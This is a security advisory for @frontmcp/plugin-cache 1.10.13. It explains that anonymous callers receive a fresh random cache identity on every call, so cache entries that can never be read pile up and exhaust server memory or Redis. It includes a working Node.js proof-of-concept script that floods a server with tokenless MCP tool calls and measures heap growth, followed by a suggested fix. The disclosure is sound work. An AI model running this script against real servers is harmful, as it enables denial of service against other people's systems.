Anonymous calls to cached tools grow server memory without bound in @frontmcp/plugin-cache
Description
Since the fix for GHSA-r6v6-p4r8-p936 (1.8.0), @frontmcp/plugin-cache gives a caller with no identity (no sub or userId, no clientId, no verified session) a new random identity every time it builds a key: anonymous:${randomUUID()}. A cache miss for such a caller is intended ("A cache miss is the safe failure here"), but the write still happens. After the tool runs, the write path builds another key, with another random identity, and stores the result under it. No later call can build that key again, so every anonymous call to a cached tool adds an entry that is never read.
The default memory store is an unbounded Map with a timer for each entry, and each entry lives for its TTL: one day by default, and the default store's sweeper also runs once a day. A remote caller without credentials can grow the server's heap in proportion to the number of calls it makes to any cached tool it can reach, until the process runs out of memory. With type: "redis", the same unreadable entries accumulate in Redis.
Details
All references are to v1.10.13.
- The identity:
cache.plugin.ts:337returns `anonymous:${randomUUID()}` when the caller has no subject, client id or verified session. - The key:
buildCacheKey()(:347-348) callsresolveCallerIdentity()each time, so the key the read builds (:234) and the key the write builds (:301) differ, and neither ever comes up again. - The store:
cache-memory.provider.ts:20-55keeps entries in aMapwith no size bound and onesetTimeoutper entry for its TTL. The default provider is created asnew CacheMemoryProvider(60 * 60 * 24)(cache.plugin.ts:79), so it sweeps once a day, and the default TTL is60 * 60 * 24seconds (:150,:209). - Who is anonymous: any caller without
sub/userId,clientIdor a verified session id. That includes the anonymous callers of a public server, and every MCP 2026-07-28 request that carries no token, since 2026-07-28 has no sessions.
PoC
In a project with @frontmcp/sdk and @frontmcp/plugin-cache 1.10.13 installed:
// node --expose-gc poc.cjs [calls] [resultBytes], in a project with @frontmcp/sdk and @frontmcp/plugin-cache installed
require("reflect-metadata");
const { FrontMcpInstance, App, Tool, ToolContext, LogLevel } = require("@frontmcp/sdk");
const { CachePlugin } = require("@frontmcp/plugin-cache");
const calls = Number(process.argv[2] ?? 1000);
const resultBytes = Number(process.argv[3] ?? 10_000);
let toolRuns = 0;
class Report extends ToolContext {
async execute() {
toolRuns += 1;
return { report: "x".repeat(resultBytes) };
}
}
Tool({ name: "report", description: "A cached report", inputSchema: {}, cache: true })(Report);
class ReportsApp {}
App({ id: "reports", name: "Reports", tools: [Report], plugins: [CachePlugin.init({ type: "memory" })] })(ReportsApp);
// An MCP 2026-07-28 call with no token: no sub, no clientId and no verified session, so the cache sees no identity.
const anonymousCall = (id) =>
new Request("https://server.example/", {
method: "POST",
headers: { "content-type": "application/json", "mcp-protocol-version": "2026-07-28", "mcp-method": "tools/call", "mcp-name": "report" },
body: JSON.stringify({
jsonrpc: "2.0",
id,
method: "tools/call",
params: { name: "report", arguments: {}, _meta: { "io.modelcontextprotocol/protocolVersion": "2026-07-28" } },
}),
});
(async () => {
// Count entries in the memory store's Map, which the plugin keeps private.
let cacheMap;
const mapSet = Map.prototype.set;
Map.prototype.set = function (key, value) {
if (!cacheMap && typeof value?.value === "string" && value.value.includes('"report"')) cacheMap = this;
return mapSet.call(this, key, value);
};
const handler = await FrontMcpInstance.createFetchHandler({ info: { name: "reports", version: "1.0.0" }, apps: [ReportsApp], logging: { level: LogLevel.Off } });
global.gc();
const heapBefore = process.memoryUsage().heapUsed;
for (let id = 0; id < calls; id++) await (await handler(anonymousCall(id))).text();
global.gc();
const heapGrowthMB = (process.memoryUsage().heapUsed - heapBefore) / 1024 / 1024;
console.log({ calls, toolRuns, cacheEntries: cacheMap?.size ?? 0, heapGrowthMB: Number(heapGrowthMB.toFixed(1)) });
process.exit(0);
})();On 1.10.13 (Node 24, results of 10 KB):
node --expose-gc poc.cjs 1000 → { calls: 1000, toolRuns: 1000, cacheEntries: 1000, heapGrowthMB: 19.5 }
node --expose-gc poc.cjs 3000 → { calls: 3000, toolRuns: 3000, cacheEntries: 3000, heapGrowthMB: 47.3 }Every call runs the tool (intended for anonymous callers) and leaves one more entry, measured after garbage collection.
Impact
Denial of service. A remote caller without credentials can exhaust the memory of a server that caches a tool anonymous callers can reach (the default memory store), or fill its Redis (type: "redis"), and the memory stays allocated for the TTL after the calls stop. The rate is bounded only by how fast the caller can send requests: FrontMCP applies no rate limit by default.
Suggested fix
- When the identity is anonymous, skip both the read and the write: the key can never be built again, so the entry is pure cost.
- Separately, bound the memory store (an LRU with
maxEntriesormaxBytes), and sweep at least as often as the shortest TTL rather than once a day.